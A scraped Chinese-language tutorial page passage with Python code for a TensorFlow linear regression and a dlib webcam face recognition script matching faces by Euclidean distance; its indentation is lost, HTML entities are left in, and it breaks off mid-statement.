loss = mean_square(pred, Y)
# Compute gradients.
gradients = g.gradient(loss, [W, b])

# Update W and b following gradients.
optimizer.apply_gradients(zip(gradients, [W, b]))

# Run training for the given number of steps.
for step in range(1, training_steps + 1):
# Run the optimization to update W and b values.
run_optimization()

if step % display_step == 0:
pred = linear_regression(X)
loss = mean_square(pred, Y)
print("step: %i, loss: %f, W: %f, b: %f" % (step, loss, W.numpy(), b.numpy()))
import matplotlib.pyplot as plt
# Graphic display
plt.plot(X, Y, &#39;ro&#39;, label=&#39;Original data&#39;)
plt.plot(X, np.array(W * X + b), label=&#39;Fitted line&#39;)
plt.legend()
plt.show()
　　(2) 基于歐式距離的人臉識別
　　# 計算兩個(gè)128D向量間的歐式距離
# Compute the e-distance between two 128D features
def return_euclidean_distance(feature_1, feature_2):
feature_1 = np.array(feature_1)
feature_2 = np.array(feature_2)
dist = np.sqrt(np.sum(np.square(feature_1 - feature_2)))
return dist
　　# Author: coneypo
# Blog: http://www.cnblogs.com/AdaminXie
# GitHub: https://github.com/coneypo/Dli ... amera
# Created at 2018-05-11
# Updated at 2019-04-09
import dlib # 人臉處理的庫 Dlib
import numpy as np # 數據處理的庫 numpy
import cv2 # 圖像處理的庫 OpenCv
import pandas as pd # 數據處理的庫 Pandas
<p>
import os
# 人臉識別模型，提取128D的特征矢量
# face recognition model, the object maps human faces into 128D vectors
# Refer this tutorial: http://dlib.net/python/index.h ... el_v1
facerec = dlib.face_recognition_model_v1("data/data_dlib/dlib_face_recognition_resnet_model_v1.dat")
# 計算兩個(gè)128D向量間的歐式距離
# Compute the e-distance between two 128D features
def return_euclidean_distance(feature_1, feature_2):
feature_1 = np.array(feature_1)
feature_2 = np.array(feature_2)
dist = np.sqrt(np.sum(np.square(feature_1 - feature_2)))
return dist
# 1. Check 存放所有人臉特征的 csv
if os.path.exists("data/features_all.csv"):
path_features_known_csv = "data/features_all.csv"
csv_rd = pd.read_csv(path_features_known_csv, header=None)
# 用來(lái)存放所有錄入人臉特征的數組
# The array to save the features of faces in the database
features_known_arr = []
# 2. 讀取已知人臉數據
# Print known faces
for i in range(csv_rd.shape[0]):
features_someone_arr = []
for j in range(0, len(csv_rd.ix[i, :])):
features_someone_arr.append(csv_rd.ix[i, :][j])
features_known_arr.append(features_someone_arr)
print("Faces in Database：", len(features_known_arr))
# Dlib 檢測器和預測器
# The detector and predictor will be used
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor(&#39;data/data_dlib/shape_predictor_68_face_landmarks.dat&#39;)
# 創(chuàng )建 cv2 攝像頭對象
cap = cv2.VideoCapture(0)
# 3. When the camera is open
while cap.isOpened():
flag, img_rd = cap.read()
img_gray = cv2.cvtColor(img_rd, cv2.COLOR_RGB2GRAY)
faces = detector(img_gray, 0)
# 待會(huì )要寫(xiě)的字體 font to write later
font = cv2.FONT_ITALIC
# 存儲當前攝像頭中捕獲到的所有人臉的坐標/名字
# The list to save the positions and names of current faces captured
pos_namelist = []
name_namelist = []
kk = cv2.waitKey(1)
# 按下 q 鍵退出
# press &#39;q&#39; to exit
if kk == ord(&#39;q&#39;):
break
else:
# 檢測到人臉 when face detected
if len(faces) != 0:
# 4. 獲取當前捕獲到的圖像的所有人臉的特征，存儲到 features_cap_arr
# 4. Get the features captured and save into features_cap_arr
features_cap_arr = []
for i in range(len(faces)):
shape = predictor(img_rd, faces[i])
features_cap_arr.append(facerec.compute_face_descriptor(img_rd, shape))
# 5. 遍歷捕獲到的圖像中所有的人臉
# 5. Traversal all the faces in the database
for k in range(len(faces)):
print("##### camera person", k+1, "#####")
# 讓人名跟隨在矩形框的下方
# 確定人名的位置坐標
# 先默認所有人不認識，是 unknown
# Set the default names of faces with "unknown"
name_namelist.append("unknown")
# 每個(gè)捕獲人臉的名字坐標 the positions of faces captured
pos_namelist.append(tuple([faces[k].left(), int(faces[k].bottom() + (faces[k].bottom() - faces[k].top())/4)]))
# 對于某張人臉，遍歷所有存儲的人臉特征
# For every faces detected, compare the faces in the database
e_distance_list = []
for i in range(len(features_known_arr)):
# 如果 person_X 數據不為空
if str(features_known_arr[i][0]) != &#39;0.0&#39;:
print("with person", str(i + 1), "the e distance: ", end=&#39;&#39;)
e_distance_tmp = return_euclidean_distance(features_cap_arr[k], features_known_arr[i])
print(e_distance_tmp)
e_distance_list.append(e_distance_tmp)
else:
# 空數據 person_X
e_distance_list.append(999999999)
# Find the one with minimum e distance
similar_person_num = e_distance_list.index(min(e_distance_list))
print("Minimum e distance with person", int(similar_person_num)+1)
if min(e_distance_list) 查看全部